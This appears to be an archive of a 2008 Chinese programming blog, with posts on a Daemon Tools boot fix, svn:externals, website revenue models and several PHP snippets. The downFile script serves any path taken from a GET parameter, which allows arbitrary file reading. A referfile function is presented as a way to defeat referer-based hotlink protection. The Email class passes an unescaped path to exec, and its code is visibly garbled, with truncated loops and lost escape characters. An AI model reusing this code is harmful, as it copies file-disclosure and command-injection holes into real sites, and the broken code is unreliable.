2008年4月30日星期三

变更虚拟光驱daemon tool的盘符导致系统无法启动

变更虚拟光驱daemon tool的盘符导致系统无法启动,安全模式也无法进入。
解决办法,安全模式启动时,看到是否加载sptd.sys时,按ESC取消加载即可。
1、重启机器到安全模式,安全模式启动的时候,会在屏幕底部出现 “Press ESC to cancel loading SPTD.sys” ,这时候马上按一下”ESC” 就会取消调用 SPTD.sys

2、 启动进入安全模式后,启动注册表编辑器 regedit.exe 找到“HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Services\sptd“ 将DWORD值设置为“4”

3、重启进入正常系统,SPTD功能就被禁用了,如果要恢复,只要把刚才的DWORD值再设置为“0” 就可以了!

当然此时sptd.sys软件还在机器内,只是没有调用。

学会使用svn:externals

最近在与人合作的项目中使用了Zend Framework。为保证项目稳定性和方便发布,合作者把框架导出(export)到他的版本库然后提交(check in)。因为ZF框架的文件大量频繁的更新,他放弃了从框架版本库导出(export)的本地版本库同步到版本控制服务器上的办法,每次更新框架的时候都从版本库中删除框架然后重新添加,

这在我看来是在是低效的,特别是考虑到这会让他从开发分支合并到产品分支非常困难。(删除并重新添加目录会在一定成都影响合并)我想会有更好的办法。

曾经听说过svn:externals属性,但是从来没有使用过。既然有这个属性,肯定有一个适合运用他的条件。问题是SVN电子书中 svn:externals说明文档 部分并没有说明这个属性该怎样设置,而且我发现很多”怎么做”条目都省去了一个或多个重要的细节。通过一些实验、排除一些自己的错误,最后我终于知道怎么弄了。因此我现在来分享这个处理过程,希望大家也能够从这次经历中得到经验。

事实上相当容易,假设你的你的项目文件系统结构想下面这样子:

project/ branch/ production/ tag/ trunk/

* 在trunk目录下执行如下命令:

svn propedit svn:externals .

* 运行命令后会调用编辑器编辑属性。在编辑器打开的文件中,每行代表一个你要从那里取得代码的不同的外部svn仓库。一行中的第一段代表你想让取回代码存放的目录,最后一部分是取得代码的svn版本库URL。中间你还可以用一些可选配置参数来决定要取回的版本。以下是一些例子:
o 取得Zend Framework仓库的当前版本(head)::

framework http://framework.zend.com/svn/framework/trunk

o 取得Zend Framework仓库的版本2616:

framework -r2616 http://framework.zend.com/svn/framework/trunk

* 保存文件退出编辑器,更新版本库:

svn up

* 提交所做更改:

svn commit

请注意一点:在svn:externals中设置的取出代码存放目录在不能是你的版本库中已经存在的目录。如果存在,你会得到如下错误提醒:

svn: Working copy 'sharedproject' lockedsvn: run ’svn cleanup’ to remove locks

上面的例子中我使用的是版本,你也可以使用标签来取得外部仓库中特殊标签的版本。两种方法都能很好的工作。

现在,当我们实现分支之间或从主干到分支之间的转换时,你可以为每个分支设置不同的svn:externals属性。例如,你当期那的产品环境可能从某个特殊的版本中取出,但是你的主干需要跟进最新版本(head)。当你觉得可以实施这些改变的时候,你需要做的仅仅是查到主干的版本号然后更新产品版本的svn:externals属性即可。

希望这能帮祝你了解svn:externals。

互联网的十条常见盈利模式

网站是如何盈利的?有多少种好的盈利方式?如果我想运营一个网站怎样如何寻找盈利点?我适合做哪一种网站?相信这样的问题是众多网站运营者或对网站运营感兴趣的朋友所关注的,下面就我所了解到的一些盈利方式做一下简单的介绍,希望对您能有点滴的启发与帮助。

  盈利模式一:在线广告

  最主要最常见的网络在线盈利模式,国内做的较好的是新浪(www.sina.com.cn)、搜狐(www.sohu.com)、网易(www.163.com)等门户网站(包括行业门户)。大多个人网站的盈利模式也是采用这种方式,靠挂别人的广告生存。

  新兴的在线短视频网站,通过影音载入前后的等待时间播放广告主的在线广告。典型例子:

  国外的youtube(www.youtube.com)

  国内的56(www.56.com)、土豆(www.toodou.com)、六间房(www.6rooms.com)等

  盈利模式二:彩铃彩信下载、短信发送、电子杂志订阅等电信增值形式

  最赚钱的网络盈利模式之一,几乎每个进入全球排名前10万位的商业性网站和个人网站都在通过sp来获取经济回报,目前由于sp受到中国移动等运营商的限制,盈利率有些下降,以此类引力模式为主的上市公司市值较以前有缩水。典型例子:

  空中网(www.kong.net)

  3G门户(www.3g.net.cn)

  网站盈利模式三:通过网站销售产品

  A.通过网站销售别人的产品(C2C 和 B2C模式)

  典型例子:  

  淘宝(www.taobao.com)、易趣(www.ebay.com.cn) C2C在线竞拍,从成功交易中抽取佣金。

  卓越(www.joyo.com)、当当(www.dangdang.com )、鲜花网 B2C通常的B2C网上零售大概有两种操作方法,一种是您自己经销的产品,通过互联网销售;另一种则是建立一个网上零售的平台,让更多的商家通过此平台销售他们的产品。

  豆瓣网(www.douban.com)营造社区,推荐销售抽取佣金。

  B.通过网站销售自己的产品(含B2C模式)

  大多数外贸网站和国内中小企业网站,多不胜举

  盈利模式四:注册会员收费,提供与免费会员差异化的服务

  典型例子:

  阿里巴巴(www.cn.alibaba.com ) 中国B2B网站典范。

  中国化工网(www.chemnet.com.cn) 中国化工行业门户

  另外还有一些人才网站、电子图书、交友网站、在线电影等许多的关键信息也都是仅仅面向收费用户的……

  盈利模式五:网络游戏运营,虚拟装备和道具买卖

  典型例子:

  网易游戏( www.163.com )

  盛大游戏(www.poptang.com www.shanda.com.cn)

  九城游戏(www.the9.com www.ninetowns.com)

  及其游戏地方代理运营商。

  盈利模式六:搜索竞排、产品招商、分类网址和信息整合,付费推荐和抽成盈利

  典型例子:

  百度(www.baidu.com)

  中国商机在线 (www.28.com)

  Hao123(www.hao123.com)

  请客800(www.qingke800.com)

  威克平台K68 (www.k68.cn)

  盈利模式七:广告中介

  广告联盟网站通过给为广告主和站长服务,差价销售广告,获得利润。

  典型例子:

  弈天广告联盟(www.unionsky.cn )

  Iplus广告联盟(www.iplus.com.cn)

  好耶广告联盟(www.allyes.com )

  窄告网(www.narrowad.com)

  盈利模式八:企业信息化服务

  A .帮助企业建设维护推广网站

  中企动力(www.ce.net.cn)

  铭万(www.mainone.com )B2B+建站

  书生(www.booksir.com ) 一站式服务,从代理销售网络实名起家。

  B.代理销售大公司的网络产品

  几乎每个网络公司都在做,不再举例。

  C.网络基础服务提供

  万网(www.net.cn)

  新网(www.xinnet.com )

  很多规模较小的公司也在做域名注册,服务器托管的生意,收入比较稳定。

  D.网络营销策划和搜索引擎优化的专业顾问公司


  新竞争力 (www.jingzhengli.cn)

  盈利模式九:web2.0网站被巨头收购

  web2.0类的网站一般都是用户制造内容,有了社区活跃度,自然会吸引VC的眼光,最终的归属应该是被Google、Yahoo、微软等巨头收购了。

  盈利模式十:骗人的把戏

  以上九点基本都是正规的网站赚钱门道,但这第十条就是非法的了。什么solo一族,在家办公,轻松点击就可以赚钱等等,靠吸收下线的方式骗钱也算是当前网赚的一种方式吧。当然,所谓能赚钱也只能是傻子骗傻子的钱而已了。

  盈利模式没有固定的,只有成功和不成功之分。现实网络中存在各种各样的盈利模式以及若干中盈利模式的组合。总结起来,网站的盈利其实无非是,卖产品或者卖服务或者两者结合,区别是可能是卖别人的也可能是卖自己的。

2008年4月28日星期一

一段php的文件下载函数

一段php的文件下载函数(可下任意文件类型)
使用方法:
downFile("文件路径");
?>
本文相关代码如下:
if(isset($_GET["file"])){
downFile(realpath($_GET["file"]));
}
else
{
echo("请输入文件路径!");
}
function downFile($sFilePath)
{
if(file_exists($sFilePath)){
$aFilePath=explode("/",str_replace("\\","/",$sFilePath),$sFilePath);
$sFileName=$aFilePath[count($aFilePath)-1];
$nFileSize=filesize ($sFilePath);
header ("Content-Disposition: attachment; filename=" . $sFileName);
header ("Content-Length: " . $nFileSize);
header ("Content-type: application/octet-stream");
readfile($sFilePath);
}
else
{
echo("文件不存在!");
}
}
?>

PHP5盗链函数(referfile)

PHP5盗链函数(referfile)
作者:axgle

功能:任何以‘HTTP_REFERER’为主要特征的防盗链技术将通通失效,顷刻间便灰飞烟灭。

/**
@title:PHP5盗链函数
@author:axgle
@filename:referer.php
@contents:This is a demo that show referer made success
*/

if($_GET['id']) {
echo $_SERVER['HTTP_REFERER'];
} else {
echo referfile('http://localhost/referer.php?id=1','http://axgle.is.good/');

}

function referfile($url,$refer='') {
$opt=array('http'=>array('header'=>"Referer:$refer"));
$context=stream_context_create($opt);
return file_get_contents($url,false,$context);
}

?>

PHP实现文件安全下载

你一定会笑我"下载文件"如此简单都值得说?当然并不是想象那么简单。例如你希望客户要填完一份表格,才可以下载某一文件,你第一个想法一定是用 "Redirect"的方法,先检查表格是否已经填写完毕和完整,然后就将网址指到该文件,这样客户才能下载,但如果你想做一个关于"网上购物"的电子商务网站,考虑安全问题,你不想用户直接复制网址下载该文件,笔者建议你使用PHP直接读取该实际文件然后下载的方法去做。程序如下:

  $file_name = "info_check.exe";

  $file_dir = "/public/www/download/";

  if (!file_exists($file_dir . $file_name)) { //检查文件是否存在

  echo "文件找不到";

  exit;

  } else {

  $file = fopen($file_dir . $file_name,"r"); //打开文件

  //输入文件标签

  Header("Content-type: application/octet-stream");

  Header("Accept-Ranges: bytes");

  Header("Accept-Length: ".filesize($file_dir . $file_name));

  Header("Content-Disposition: attachment; filename=" . $file_name);

  //输出文件内容

  echo fread($file,filesize($file_dir . $file_name));

  fclose($file);

  exit;}

  而如果文件路径是"http"或者"FTP"网址的话,则源代码会有少许改变,程序如下:

  $file_name = "info_check.exe";

  $file_dir = "www.easycn.net/";

  $file = @ fopen($file_dir . $file_name,"r");

  if (!$file) {

  echo "文件找不到";

  } else {

  Header("Content-type: application/octet-stream");

  Header("Content-Disposition: attachment; filename=" . $file_name);

  while (!feof ($file)) {

  echo fread($file,50000);

  }

  fclose ($file);

  }

  这样就可以用PHP直接输出文件了。

缓存技术详谈—php

一、引论

PHP,一门最近几年兴起的web设计脚本语言,由于它的强大和可伸缩性,近几年来得到长足的发展,php相比传统的asp网站,在速度上有绝对的优势,想mssql转6万条数据php如需要40秒,asp不下2分钟.但是,由于网站的数据越来越多,我们渴求能更快速的调用数据,不必要每次都从数据库掉,我们可以从其他的地方,比方一个文件,或者某个内存地址,这就是php的缓存技术,也就是Cache技术.

二、分析深入

一般来说,缓存的目的是把数据放在一个地方让访问的更快点,毫无疑问,内存是最快的,但是,几百M的数据能往内存放么?这不现实,当然,有的时候临时放如服务器缓存,如ob_start()这个缓存页面开启的话在发送文件头之前页面内容都被缓存在内存中,知道等页面输出自动清楚或者等待 ob_get_contents的返回,或者被ob_end_clean显示的清除,这在静态页面的生成中能很好的利用,在模板中能得到很好的体现,我的这篇文章深入的讨论了:谈PHP生成静态页面,这是一种方式,但这是临时性的,不是解决我们问题的好方法.

另外,在asp中有一对象application,可以保存公用的参数,这也算点缓存,但在php,我至今没看到开发者产出这种对象,的确,没必要.asp.net的页面缓存技术就用的是viewstate,而cache就是文件关联,(不一定准确),文件被修改,更新缓存,文件没被修改而且不超时(注释1),就读取缓存,返回结果,就是这个思路,看看这个源码:

class cache{
/*
Class Name: cache
Description: control to cache data,$cache_out_time is a array to save cache date time out.
Version: 1.0
Author: 老农 cjjer
Last modify:2006-2-26
Author URL: http://www.cjjer.com
*/
private $cache_dir;
private $expireTime=180;//缓存的时间是 60 秒
function __construct($cache_dirname){
if(!@is_dir($cache_dirname)){
if(!@mkdir($cache_dirname,0777)){
$this->warn('缓存文件不存在而且不能创建,需要手动创建.');
return false;
}
}
$this->cache_dir = $cache_dirname;
}
function __destruct(){
echo 'Cache class bye.';
}

function get_url() {
if (!isset($_SERVER['REQUEST_URI'])) {
$url = $_SERVER['REQUEST_URI'];
}else{
$url = $_SERVER['SCRIPT_NAME'];
$url .= (!empty($_SERVER['QUERY_STRING'])) ? '?' . $_SERVER['QUERY_STRING'] : '';
}

return $url;
}

function warn($errorstring){
echo "发生错误:
".$errorstring."
";
}

function cache_page($pageurl,$pagedata){
if(!$fso=fopen($pageurl,'w')){
$this->warns('无法打开缓存文件.');//trigger_error
return false;
}
if(!flock($fso,LOCK_EX)){//LOCK_NB,排它型锁定
$this->warns('无法锁定缓存文件.');//trigger_error
return false;
}
if(!fwrite($fso,$pagedata)){//写入字节流,serialize写入其他格式
$this->warns('无法写入缓存文件.');//trigger_error
return false;
}
flock($fso,LOCK_UN);//释放锁定
fclose($fso);
return true;
}

function display_cache($cacheFile){
if(!file_exists($cacheFile)){
$this->warn('无法读取缓存文件.');//trigger_error
return false;
}
echo '读取缓存文件:'.$cacheFile;
//return unserialize(file_get_contents($cacheFile));
$fso = fopen($cacheFile, 'r');
$data = fread($fso, filesize($cacheFile));
fclose($fso);
return $data;
}

function readData($cacheFile='default_cache.txt'){
$cacheFile = $this->cache_dir."/".$cacheFile;
if(file_exists($cacheFile)&&filemtime($cacheFile)>(time()-$this->expireTime)){
$data=$this->display_cache($cacheFile);
}else{
$data="from here wo can get it from mysql database,update time is ".date('l dS \of F Y h:i:s A').",过期时间是:".date('l dS \of F Y h:i:s A',time()+$this->expireTime)."----------";
$this->cache_page($cacheFile,$data);
}
return $data;
}



}
?>

下面我打断这个代码逐行解释.

三、程序透析

这个缓存类(类没什么好怕的.请继续看)名称是cache,有2个属性:

private $cache_dir;
private $expireTime=180;

$cache_dir是缓存文件所放的相对网站目录的父目录, $expireTime(注释一)是我们缓存的数据过期的时间,主要是这个思路:
当数据或者文件被加载的时候,先判断缓存文件存在不,返回false ,文件最后修改时间和缓存的时间和比当前时间大不,大的话说明缓存还没到期,小的话返回false,当返回false的时候,读取原始数据,写入缓存文件中,返回数据.

接着看程序:

function __construct($cache_dirname){
if(!@is_dir($cache_dirname)){
if(!@mkdir($cache_dirname,0777)){
$this->warn('缓存文件不存在而且不能创建,需要手动创建.');
return false;
}
}
$this->cache_dir = $cache_dirname;
}

当类第一次被实例的时候构造默认函数带参数缓存文件名称,如文件不存在,创建一个有编辑权限的文件夹,创建失败的时候抛出异常.然后把cache类的 $cache_dir属性设置为这个文件夹名称,我们的所有缓存文件都是在这个文件夹下面的.

function __destruct(){
echo 'Cache class bye.';
}

这是class类的析构函数,为了演示,我们输出一个字符串表示我们释放cache类资源成功.

function warn($errorstring){
echo "发生错误:
".$errorstring."
";
}

这个方法输出错误信息.

function get_url() {
if (!isset($_SERVER['REQUEST_URI'])) {
$url = $_SERVER['REQUEST_URI'];
}else{
$url = $_SERVER['SCRIPT_NAME'];
$url .= (!empty($_SERVER['QUERY_STRING'])) ? '?' . $_SERVER['QUERY_STRING'] : '';
}

return $url;
}

这个方法返回当前url的信息,这是我看国外很多人的cms系统这样做,主要是缓存x.php?page=1,x.php?page=2,等这种文件的,这里列出是为了扩展的这个cache类功能的.

function cache_page($pageurl,$pagedata){
if(!$fso=fopen($pageurl,'w')){
$this->warns('无法打开缓存文件.');//trigger_error
return false;
}
if(!flock($fso,LOCK_EX)){//LOCK_NB,排它型锁定
$this->warns('无法锁定缓存文件.');//trigger_error
return false;
}
if(!fwrite($fso,$pagedata)){//写入字节流,serialize写入其他格式
$this->warns('无法写入缓存文件.');//trigger_error
return false;
}
flock($fso,LOCK_UN);//释放锁定
fclose($fso);
return true;
}

cache_page方法分别传入的是缓存的文件名称和数据,这是把数据写到文件里的方法,先用fopen打开文件,然后调用句柄锁定这个文件,然后用fwrite写入文件,最后释放这个句柄,任何一步发生错误将抛出错误. 您可能看到这个注释:

写入字节流,serialize写入其他格式

顺便一提的是如果我们要把一个数组,(可以从MySQL数据库里面select查询除了的结果)用serialize函数写入,用unserialize读取到原来的类型.

function display_cache($cacheFile){
if(!file_exists($cacheFile)){
$this->warn('无法读取缓存文件.');//trigger_error
return false;
}
echo '读取缓存文件:'.$cacheFile;
//return unserialize(file_get_contents($cacheFile));
$fso = fopen($cacheFile, 'r');
$data = fread($fso, filesize($cacheFile));
fclose($fso);
return $data;
}

这是由文件名称读取缓存的方法,直接打开文件,读取全部,如果文件不存在的或者无法读取的话返回false,当然,你感到不人性的话,可以重新生成缓存.

function readData($cacheFile='default_cache.txt'){
$cacheFile = $this->cache_dir."/".$cacheFile;
if(file_exists($cacheFile)&&filemtime($cacheFile)>(time()-$this->expireTime)){
$data=$this->display_cache($cacheFile);
}else{
$data="from here wo can get it from mysql database,update time is ".date('l dS \of F Y h:i:s A').",过期时间是:".date('l dS \of F Y h:i:s A',time()+$this->expireTime)."----------";
$this->cache_page($cacheFile,$data);
}
return $data;
}

这个函数是我们调用的方法,可以写成接口的方法,由传入参数判断文件存在不,文件最后修改时间+expireTime的时间是不是过了当前时间(大于的话说明没有过期),如果文件不存在或者已经过期,重新加载原始数据,这里,为了简单期间,我们是直接源是字符串,您可以把cache类继承某类,取到数据库的数据.(注释2)

四、补充说明,结语

注释一:这个缓存的时间您可以自己调,可以根据时间情况读取数组,xml,缓存等,请按照您的方便,值得一提的是缓存的时间(也就是缓存的key)也用缓存控制,.这在cms系统中被广泛使用,他们把要更新的key放在缓存中,非常容易控制全战.

注释二:php5开始支持类继承,这是让人兴奋的,把网站全局休息写在一个配置的类里面,再写与数据层交互的类(如与MySQL交互的类),我们的这个cache类继承数据交互的类,可以非常容易的读取数据库,这是外话,此处不再展开,有时间和大家详谈.

特别说明,这个类文件针对的php5以上版本,其他版本的请不要使用类.

将IP最后一位替换为星号

$str = '1.1.1.1';

$reg = '/((?:\d+\.){3})\d+/';

echo preg_replace($reg, "\\1*", $str);
?>

hmailserver的完整配置

http://qianwuge.spaces.live.com/blog/cns!8B04C40C936103CB!5623.entry

2008年4月27日星期日

发邮件类,不需要配置PHP.INI

/*
PHPWIND中分离出来.略加以改造,使之使用更方便!
不需要配置php.ini文件.通过fsock发邮件,速度还行.
漠北怪叟做的发邮件的类.其实很简单只是把基本功能 装在类里面方便调用而已.
我的QQ 4620498 欢迎大家改进

做程序员.NND就是累啊,都不知明天在何方啊.

2006.6.22

调用方式

//
sendemail('EMAIL','subject主题','content内容'[,'发件方式 0=为文本 1为HTML'] bool
返回true 表示发件成功,否则为不成功!

例:
require("./inc/mail.inc.php");
if (sendemail("hjc@mypcok.com","测试邮件发送@","这是一份用PHP发送的PHP测试邮件
以下是测试HTML的反映!")) echo "ok!";




*/
/*此行以下可以保存为为公用文件mail.inc.php,前提是设置好以下七个设置*/

$M_db= new Mailconfig(
array(
'host' => "smtp.21cn.com", //发件服务器的地址
'port' => 25, //发件服务器的端口一般默认为25
'auth' => "测试帐号", //发件人姓名
'isck' => 1, //发件服务器需要密码验证 NND,现在的服务器基本都要验证的.
'from' => "test@21cn.net", //发件人EMAIL
'user' => "test", //发件人帐号名称
'pass' => "pass", //发件人帐号密码
)
);
/*如果需要在发件时设置可将以下保存为公用文件mail.inc.php 上面七个变量在发件前设置.*/
Class Mailconfig {
var $smtp;
function Mailconfig($smtp=array()){
$this->smtp['host'] = $smtp['host'];
$this->smtp['port'] = $smtp['port'];
$this->smtp['auth'] = $smtp['auth'];
$this->smtp['isck'] = $smtp['isck'];
$this->smtp['from'] = $smtp['from'];
$this->smtp['user'] = $smtp['user'];
$this->smtp['pass'] = $smtp['pass'];
}
}
function sendemail($toemail,$subject,$message,$html=0){
global $M_db,$sendtoname;
$M_db->smtp['html']=$html;
$db_charset="gb2312";

if(!$fp=fsockopen($M_db->smtp['host'],$M_db->smtp['port'],&$errno,&$errstr,30)) return false;
if(substr(fgets($fp,512),0,3)!="220") return false;
if($M_db->smtp['isck']) {
fwrite($fp,"EHLO mobeiguaishou qq4620498\r\n");
while($rt=strtolower(fgets($fp,512))){
if(strpos($rt,"-")!==3 || empty($rt)){
break;
}elseif(strpos($rt,"2")!==0){
return false;
}
}
fwrite($fp, "AUTH LOGIN \r\n");
if(substr(fgets($fp,512),0,3) != 334) return false;
fwrite($fp, base64_encode($M_db->smtp['user'])." \r\n");
if(substr(fgets($fp,512),0,3) != 334) return false;
fwrite($fp, base64_encode($M_db->smtp['pass'])." \r\n");
if(substr(fgets($fp,512),0,3) != 235) return false;
} else {
fwrite($fp, "HELO mobeiguaishou qq4620498\r\n");
}
$from = $M_db->smtp['from'];
$from = preg_replace("/.*\<(.+?)\>.*/", "\\1", $from);
fwrite($fp, "MAIL FROM: <$from>\r\n");
if(substr(fgets($fp,512),0,3) != 250){
return false;
}
fwrite($fp, "RCPT TO: <$toemail>\r\n");
if(substr(fgets($fp,512),0,3) != 250){
return false;
}
fwrite($fp, "DATA\r\n");
if(substr(fgets($fp,512),0,3) != 354){
return false;
}
$subject = str_replace("\n",' ',$subject);
$msg = "Date: ".Date("r")."\r\n";

$msg .= "From: =?$db_charset?B?".base64_encode($M_db->smtp['auth'])."?=<$from>\r\n";
$msg .= "To: =?$db_charset?B?".base64_encode($sendtoname)."?=<$toemail>\r\n";
$msg .= "Subject: =?$db_charset?B?".base64_encode($subject)."?=\r\n";
$msg .= "X-mailer: Php Auto SendMail for mobeiguaishou qq4620498\r\n";
$msg .= "Mime-Version: 1.0\r\n";
if ($M_db->smtp['html'])
$msg .= "Content-Type: text/html;\r\n";
else
$msg .= "Content-Type: text/plain;\r\n";
$msg .= "\tcharset=\"$db_charset\"\r\n";
$msg .= "Content-Transfer-Encoding: base64\r\n\r\n";
$msg .= base64_encode($message)."\r\n.\r\n";
fwrite($fp, $msg);
fwrite($fp, "QUIT\r\n");
fclose($fp);
return true;
}
?>

压缩包中,是一样的.
经测试。 用21CN TOM等免费邮局的SMTP会有延迟的情况。一般五分钟左右才能收到邮件,126与163我没测试成功。
最好是电信送的21CN.NET的,NND很正点哦,速度有快,无延迟,空间又足够 大。

PHP发送邮件源码 可发html格式邮件 附件

class Email {
//---设置全局变量
var $mailTo = ""; // 收件人
var $mailCC = ""; // 抄送
var $mailBCC = ""; // 秘密抄送
var $mailFrom = ""; // 发件人
var $mailSubject = ""; // 主题
var $mailText = ""; // 文本格式的信件主体
var $mailHTML = ""; // html格式的信件主体
var $mailAttachments = ""; // 附件
/* 函数setTo($inAddress) :用于处理邮件的地址 参数 $inAddress
为包涵一个或多个字串,email地址变量,使用逗号来分割多个邮件地址
默认返回值为true
**********************************************************/
function setTo($inAddress){
//--用explode()函数根据”,”对邮件地址进行分割
$addressArray = explode( ",",$inAddress);
//--通过循环对邮件地址的合法性进行检查
for($i=0;$icheckEmail($addressArray[$i])==false) return false; }
//--所有合法的email地址存入数组中
$this->mailTo = implode($addressArray, ",");
return true; }
/**************************************************
函数 setCC($inAddress) 设置抄送人邮件地址
参数 $inAddress 为包涵一个或多个邮件地址的字串,email地址变量,
使用逗号来分割多个邮件地址 默认返回值为true
**************************************************************/
function setCC($inAddress){
//--用explode()函数根据”,”对邮件地址进行分割
$addressArray = explode( ",",$inAddress);
//--通过循环对邮件地址的合法性进行检查
for($i=0;$icheckEmail($addressArray[$i])==false) return false; }
//--所有合法的email地址存入数组中
$this->mailCC = implode($addressArray, ",");
return true; }
/***************************************************
函数setBCC($inAddress) 设置秘密抄送地址 参数 $inAddress 为包涵一个或多
个邮件地址的字串,email地址变量,使用逗号来分割多个邮件地址 默认返回值为
true
******************************************/
function setBCC($inAddress){
//--用explode()函数根据”,”对邮件地址进行分割
$addressArray = explode( ",",$inAddress);
//--通过循环对邮件地址的合法性进行检查
for($i=0;$i{ if($this->checkEmail($addressArray[$i])==false)
return false;
}
//--所有合法的email地址存入数组中
$this->mailBCC = implode($addressArray, ",");
return true;
}
/*****************************************************************
函数setFrom($inAddress):设置发件人地址 参数 $inAddress 为包涵邮件
地址的字串默认返回值为true
***************************************/
function setFrom($inAddress){
if($this->checkEmail($inAddress)){
$this->mailFrom = $inAddress;
return true;
} return false; }
/**********************
函数 setSubject($inSubject) 用于设置邮件主题参数$inSubject为字串,
默认返回的是true
*******************************************/
function setSubject($inSubject){
if(strlen(trim($inSubject)) > 0){
$this->mailSubject = ereg_replace( "n", "",$inSubject);
return true; }
return false; }
/****************************************************
函数setText($inText) 设置文本格式的邮件主体参数 $inText 为文本内容默
认返回值为true
****************************************/
function setText($inText){
if(strlen(trim($inText)) > 0){
$this->mailText = $inText;
return true; }
return false;
}
/**********************************
函数setHTML($inHTML) 设置html格式的邮件主体参数$inHTML为html格式,
默认返回值为true
************************************/
function setHTML($inHTML){
if(strlen(trim($inHTML)) > 0){
$this->mailHTML = $inHTML;
return true; }
return false; }
/**********************
函数 setAttachments($inAttachments) 设置邮件的附件 参数$inAttachments
为一个包涵目录的字串,也可以包涵多个文件用逗号进行分割 默认返回值为true
*******************************************/
function setAttachments($inAttachments){
if(strlen(trim($inAttachments)) > 0){
$this->mailAttachments = $inAttachments;
return true; }
return false; }
/*********************************
函数 checkEmail($inAddress) :这个函数我们前面已经调用过了,主要就是
用于检查email地址的合法性
*****************************************/
function checkEmail($inAddress){
return (ereg( "^[^@ ]+@([a-zA-Z0-9-]+.)+([a-zA-Z0-9-]{2}|net|com|gov|mil|org|edu|int)$",$inAddress));
}
/*************************************************
函数loadTemplate($inFileLocation,$inHash,$inFormat) 读取临时文件并且
替换无用的信息参数$inFileLocation用于定位文件的目录
$inHash 由于存储临时的值 $inFormat 由于放置邮件主体
***********************************************************/
function loadTemplate($inFileLocation,$inHash,$inFormat){
/* 比如邮件内有如下内容: Dear ~!UserName~,
Your address is ~!UserAddress~ */
//--其中”~!”为起始标志”~”为结束标志
$templateDelim = "~";
$templateNameStart = "!";
//--找出这些地方并把他们替换掉
$templateLineOut = ""; //--打开临时文件
if($templateFile = fopen($inFileLocation, "r")){
while(!feof($templateFile)){
$templateLine = fgets($templateFile,1000);
$templateLineArray = explode($templateDelim,$templateLine);
for( $i=0; $i//--寻找起始位置
if(strcspn($templateLineArray[$i],$templateNameStart)==0){
//--替换相应的值
$hashName = substr($templateLineArray[$i],1);
//--替换相应的值
$templateLineArray[$i] = ereg_replace($hashName,(string)$inHash[$hashName],$hashName);
}
}
//--输出字符数组并叠加
$templateLineOut .= implode($templateLineArray, "");
} //--关闭文件fclose($templateFile);
//--设置主体格式(文本或html)
if( strtoupper($inFormat)== "TEXT" )
return($this->setText($templateLineOut));
else if( strtoupper($inFormat)== "HTML" )
return($this->setHTML($templateLineOut));
} return false;
}
/*****************************************
函数 getRandomBoundary($offset) 返回一个随机的边界值
参数 $offset 为整数 – 用于多管道的调用 返回一个md5()编码的字串
****************************************/
function getRandomBoundary($offset = 0){
//--随机数生成
srand(time()+$offset);
//--返回 md5 编码的32位 字符长度的字串
return ( "----".(md5(rand()))); }
/********************************************
函数: getContentType($inFileName)用于判断附件的类型
**********************************************/
function getContentType($inFileName){
//--去除路径
$inFileName = basename($inFileName);
//--去除没有扩展名的文件
if(strrchr($inFileName, ".") == false){
return "application/octet-stream";
}
//--提区扩展名并进行判断
$extension = strrchr($inFileName, ".");
switch($extension){
case ".gif": return "image/gif";
case ".gz": return "application/x-gzip";
case ".htm": return "text/html";
case ".html": return "text/html";
case ".jpg": return "image/jpeg";
case ".tar": return "application/x-tar";
case ".txt": return "text/plain";
case ".zip": return "application/zip";
default: return "application/octet-stream";
}
return "application/octet-stream";
}
/**********************************************
函数formatTextHeader把文本内容加上text的文件头
*****************************************************/
function formatTextHeader(){ $outTextHeader = "";
$outTextHeader .= "Content-Type: text/plain;
charset=us-asciin";
$outTextHeader .= "Content-Transfer-Encoding: 7bitnn";
$outTextHeader .= $this->mailText. "n";
return $outTextHeader;
} /************************************************
函数formatHTMLHeader()把邮件主体内容加上html的文件头
******************************************/
function formatHTMLHeader(){
$outHTMLHeader = "";
$outHTMLHeader .= "Content-Type: text/html;
charset=us-asciin";
$outHTMLHeader .= "Content-Transfer-Encoding: 7bitnn";
$outHTMLHeader .= $this->mailHTML. "n";
return $outHTMLHeader;
}
/**********************************
函数 formatAttachmentHeader($inFileLocation) 把邮件中的附件标识出来
********************************/
function formatAttachmentHeader($inFileLocation){
$outAttachmentHeader = "";
//--用上面的函数getContentType($inFileLocation)得出附件类型
$contentType = $this->getContentType($inFileLocation);
//--如果附件是文本型则用标准的7位编码
if(ereg( "text",$contentType)){
$outAttachmentHeader .= "Content-Type: ".$contentType. ";n";
$outAttachmentHeader .= ' name="'.basename($inFileLocation). '"'. "n";
$outAttachmentHeader .= "Content-Transfer-Encoding: 7bitn";
$outAttachmentHeader .= "Content-Disposition: attachment;n";
$outAttachmentHeader .= ' filename="'.basename($inFileLocation). '"'. "nn";
$textFile = fopen($inFileLocation, "r");
while(!feof($textFile)){
$outAttachmentHeader .= fgets($textFile,1000);
}
//--关闭文件 fclose($textFile);
$outAttachmentHeader .= "n";
}
//--非文本格式则用64位进行编码
else{ $outAttachmentHeader .= "Content-Type: ".$contentType. ";n";
$outAttachmentHeader .= ' name="'.basename($inFileLocation). '"'. "n";
$outAttachmentHeader .= "Content-Transfer-Encoding: base64n";
$outAttachmentHeader .= "Content-Disposition: attachment;n";
$outAttachmentHeader .= ' filename="'.basename($inFileLocation). '"'. "nn";
//--调用外部命令uuencode进行编码
exec( "uuencode -m $inFileLocation nothing_out",$returnArray);
for ($i = 1; $i<(count($returnArray)); $i++){
$outAttachmentHeader .= $returnArray[$i]. "n";
}
} return $outAttachmentHeader;
}
/******************************
函数 send()用于发送邮件,发送成功返回值为true
************************************/
function send(){
//--设置邮件头为空
$mailHeader = "";
//--添加抄送人
if($this->mailCC != "")
$mailHeader .= "CC: ".$this->mailCC. "n";
//--添加秘密抄送人
if($this->mailBCC != "")
$mailHeader .= "BCC: ".$this->mailBCC. "n";
//--添加发件人
if($this->mailFrom != "")
$mailHeader .= "FROM: ".$this->mailFrom. "n";
//---------------------------邮件格式------------------------------
//--文本格式
if($this->mailText != "" && $this->mailHTML == "" && $this->mailAttachments == ""){
return mail($this->mailTo,$this->mailSubject,$this->mailText,$mailHeader);
}
//--html或text格式
else if($this->mailText != "" && $this->mailHTML != "" && $this->mailAttachments == ""){
$bodyBoundary = $this->getRandomBoundary();
$textHeader = $this->formatTextHeader();
$htmlHeader = $this->formatHTMLHeader();
//--设置 MIME-版本
$mailHeader .= "MIME-Version: 1.0n";
$mailHeader .= "Content-Type: multipart/alternative;n";
$mailHeader .= ' boundary="'.$bodyBoundary. '"';
$mailHeader .= "nnn";
//--添加邮件主体和边界
$mailHeader .= "--".$bodyBoundary. "n";
